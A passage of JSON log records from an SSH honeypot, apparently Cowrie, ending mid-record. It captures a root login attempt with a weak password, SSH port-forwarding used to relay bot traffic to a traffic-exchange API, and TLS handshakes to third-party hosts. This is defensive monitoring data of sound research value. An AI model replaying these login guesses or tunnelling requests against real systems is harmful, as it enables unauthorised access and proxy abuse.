{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:17.842740Z","src_ip":"45.153.34.195","session":"2ce8f9dec277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.348204Z","src_ip":"45.153.34.195","session":"2ce8f9dec277","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.354304Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.6 Mobile/17G68 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=XmdLelhvSHNkVCQxKzRwIQ%3D%3DjkL7%2FcUMyfBZq5nsGjLPVhvjKV5obdle1n%2FLiJiRFZmzWisLhvv84gonX%2F509m8hRTqQODGH%2FtMEfbbSZ3FOCqgzWaqGx%2BuxLRzqaY%2Few%2FNdOKebBMVDImeuGAMNE%2BeUqLvzEiqWtH4ozqs2%2BA5bgnDL8d8eqxPdK0xDA5qRt%2BhwM9lZGRwOGq%2BSijLFsxB7KT7jzUjqlMlHSvyWRsiluLrFIqV97e1kKHy7NytSgaZ80%2BNk4CiOvUt9kkmKlnszI%2ByaXyzswHDQOXeKpE1mQ3mx8J4Y3jCflzQEdbxUWet6XP6gqT2%2FQmLmN0WURGrOY4oBU0Nqmal0FBh3NZoA1YsuHqggxQcVRSOdjWnKs6OgFerRRdHpXdCiSyGSg7KUCSZBgzCMUXmM1rpm3TDqqQwCs2W0KHAumq3RQPRpbSg8bYiXz4IpkkcITC8hmfzpUa%2FJMNBXZ5iOakYvXWsAimWl1C512KZ%2BAP1%2BGQ7JZ%2BAsqL1l6sq7i1FQ9XXay1dEnfQHiR0jBHd3x8b%2BUMDcyIoK0s3cHZGYHo04uGHI8HILt%2FxIAxPMUjeH3qp2S7dFu3y7Oc6S%2FhdghSlAv4YrTnNqXUGZ0%2BnSLEG2WvqtyWIeYkljh%2B39panNDoXghOQEqBnd20mv1PMIx%2FHj7iquE2nefQq%2Fl2eWB0a313QnQzLu48O5zom40mmNquVUrq5XsJtxnJBCXCLwt9unNTs6R%2FS%2Bt4mmTilGikOeXMQXuQtkm%2F4LMcx0ktUhtPOE3HrfF810RtjKSXKOJoje5npUg6isaYGBAjPBqLstz6n2LWisrJCOmrIQJhYTylE2NwfVb7HmnToxObOo06c67Im%2Br%2F0oH5pW755ZLhr2zPLY%2F8Pdx9mbiF%2BRs7kwgE2pr5stDi1TC3d2hc%2Fk9sKCWvcgGBpImmWsKDPXYhS2Qth%2Fhw%2BBpT8p1TyV5HRkT6u354O6mx9fqIauqFkXnXk0XRJ1iyJhgS13oQB1%2F%2Fy8INNXSyxcxW9XqNQ%2Bsg6y7YoEwilGEItEWF6yb%2BCijoiuSp8gHzRtdyBvKKvoKWCRGS9fRJ2Fqa7SjxACc3DL5hTmkJrG'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.6 Mobile/17G68 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=XmdLelhvSHNkVCQxKzRwIQ%3D%3DjkL7%2FcUMyfBZq5nsGjLPVhvjKV5obdle1n%2FLiJiRFZmzWisLhvv84gonX%2F509m8hRTqQODGH%2FtMEfbbSZ3FOCqgzWaqGx%2BuxLRzqaY%2Few%2FNdOKebBMVDImeuGAMNE%2BeUqLvzEiqWtH4ozqs2%2BA5bgnDL8d8eqxPdK0xDA5qRt%2BhwM9lZGRwOGq%2BSijLFsxB7KT7jzUjqlMlHSvyWRsiluLrFIqV97e1kKHy7NytSgaZ80%2BNk4CiOvUt9kkmKlnszI%2ByaXyzswHDQOXeKpE1mQ3mx8J4Y3jCflzQEdbxUWet6XP6gqT2%2FQmLmN0WURGrOY4oBU0Nqmal0FBh3NZoA1YsuHqggxQcVRSOdjWnKs6OgFerRRdHpXdCiSyGSg7KUCSZBgzCMUXmM1rpm3TDqqQwCs2W0KHAumq3RQPRpbSg8bYiXz4IpkkcITC8hmfzpUa%2FJMNBXZ5iOakYvXWsAimWl1C512KZ%2BAP1%2BGQ7JZ%2BAsqL1l6sq7i1FQ9XXay1dEnfQHiR0jBHd3x8b%2BUMDcyIoK0s3cHZGYHo04uGHI8HILt%2FxIAxPMUjeH3qp2S7dFu3y7Oc6S%2FhdghSlAv4YrTnNqXUGZ0%2BnSLEG2WvqtyWIeYkljh%2B39panNDoXghOQEqBnd20mv1PMIx%2FHj7iquE2nefQq%2Fl2eWB0a313QnQzLu48O5zom40mmNquVUrq5XsJtxnJBCXCLwt9unNTs6R%2FS%2Bt4mmTilGikOeXMQXuQtkm%2F4LMcx0ktUhtPOE3HrfF810RtjKSXKOJoje5npUg6isaYGBAjPBqLstz6n2LWisrJCOmrIQJhYTylE2NwfVb7HmnToxObOo06c67Im%2Br%2F0oH5pW755ZLhr2zPLY%2F8Pdx9mbiF%2BRs7kwgE2pr5stDi1TC3d2hc%2Fk9sKCWvcgGBpImmWsKDPXYhS2Qth%2Fhw%2BBpT8p1TyV5HRkT6u354O6mx9fqIauqFkXnXk0XRJ1iyJhgS13oQB1%2F%2Fy8INNXSyxcxW9XqNQ%2Bsg6y7YoEwilGEItEWF6yb%2BCijoiuSp8gHzRtdyBvKKvoKWCRGS9fRJ2Fqa7SjxACc3DL5hTmkJrG'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.356984Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.362982Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92f(\\xfd\\xe3\\xde\\xb2\\x8aX\\xef\\xe6\\x83\\x88\\xd6\\xfb\\x9ccq\\x06\\x86\\xbb2C?\\xb8\\x9e\\x1dI\\xacu\\t\\x7f D\\xaf|n\\xc1\\x15\\x86\\n/\\xfc\\xd6\\xe5\\x92&\\x9b\\xd4 \\x91\\\\J\\x06B\\xb0\\xca\\xeb\\xaa\\x0c\\x82s$\\x9d\\xb1\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 '@Y\\xaa<\\x01h\\x8b\\xba5\\x1f\\x01\\x10\\x89b\\xd8%\\xa2\\xcbL\\x1a\\xbf!b-sd\\xcdW\\x1b\\xe5\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92f(\\xfd\\xe3\\xde\\xb2\\x8aX\\xef\\xe6\\x83\\x88\\xd6\\xfb\\x9ccq\\x06\\x86\\xbb2C?\\xb8\\x9e\\x1dI\\xacu\\t\\x7f D\\xaf|n\\xc1\\x15\\x86\\n/\\xfc\\xd6\\xe5\\x92&\\x9b\\xd4 \\x91\\\\J\\x06B\\xb0\\xca\\xeb\\xaa\\x0c\\x82s$\\x9d\\xb1\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 '@Y\\xaa<\\x01h\\x8b\\xba5\\x1f\\x01\\x10\\x89b\\xd8%\\xa2\\xcbL\\x1a\\xbf!b-sd\\xcdW\\x1b\\xe5\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.371233Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.660625Z","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.707405Z","src_ip":"91.92.40.36","session":"b27a7f74df6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.944577Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\"Q\\xb0\\x8732\\xe8\\xd5\\\\V9\\xf2w<X&\\x0f\\x8a\\xfd;\\x95\\'\\x8aV\\x17\\xcb\\xa3!\\xd5\\xab\\xc3 \\xe2\\x93\\xb4u\\xc8V\\x0f\\xd1\\xe5\\n$\\xe3\\\\\\xcf\\xa3L.\\x18<\\x04\\xd6=\\xd6\\rF/\\xabY+B\\xe7\\xc4\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89L\\xaf\\x14\\xcf8\\xa5\\xef\\xf6C\\xb7\\x16\\x1aZ\\xb2\\xcd\\n\\xf2\\xa3}\\x8c\\xa5\\x15\\x88\\x86E\\xcfj\\x92\\x8e\\xfb\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\"Q\\xb0\\x8732\\xe8\\xd5\\\\V9\\xf2w<X&\\x0f\\x8a\\xfd;\\x95\\'\\x8aV\\x17\\xcb\\xa3!\\xd5\\xab\\xc3 \\xe2\\x93\\xb4u\\xc8V\\x0f\\xd1\\xe5\\n$\\xe3\\\\\\xcf\\xa3L.\\x18<\\x04\\xd6=\\xd6\\rF/\\xabY+B\\xe7\\xc4\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89L\\xaf\\x14\\xcf8\\xa5\\xef\\xf6C\\xb7\\x16\\x1aZ\\xb2\\xcd\\n\\xf2\\xa3}\\x8c\\xa5\\x15\\x88\\x86E\\xcfj\\x92\\x8e\\xfb\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:18.948097Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:19.372939Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:19.476661Z","src_ip":"45.153.34.195","session":"2ce8f9dec277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53564,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a637f55883","protocol":"ssh","message":"New connection: 45.153.34.195:53564 (10.17.0.5:22) [session: 40a637f55883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:20.646564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:20.650983Z","src_ip":"45.153.34.195","session":"40a637f55883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 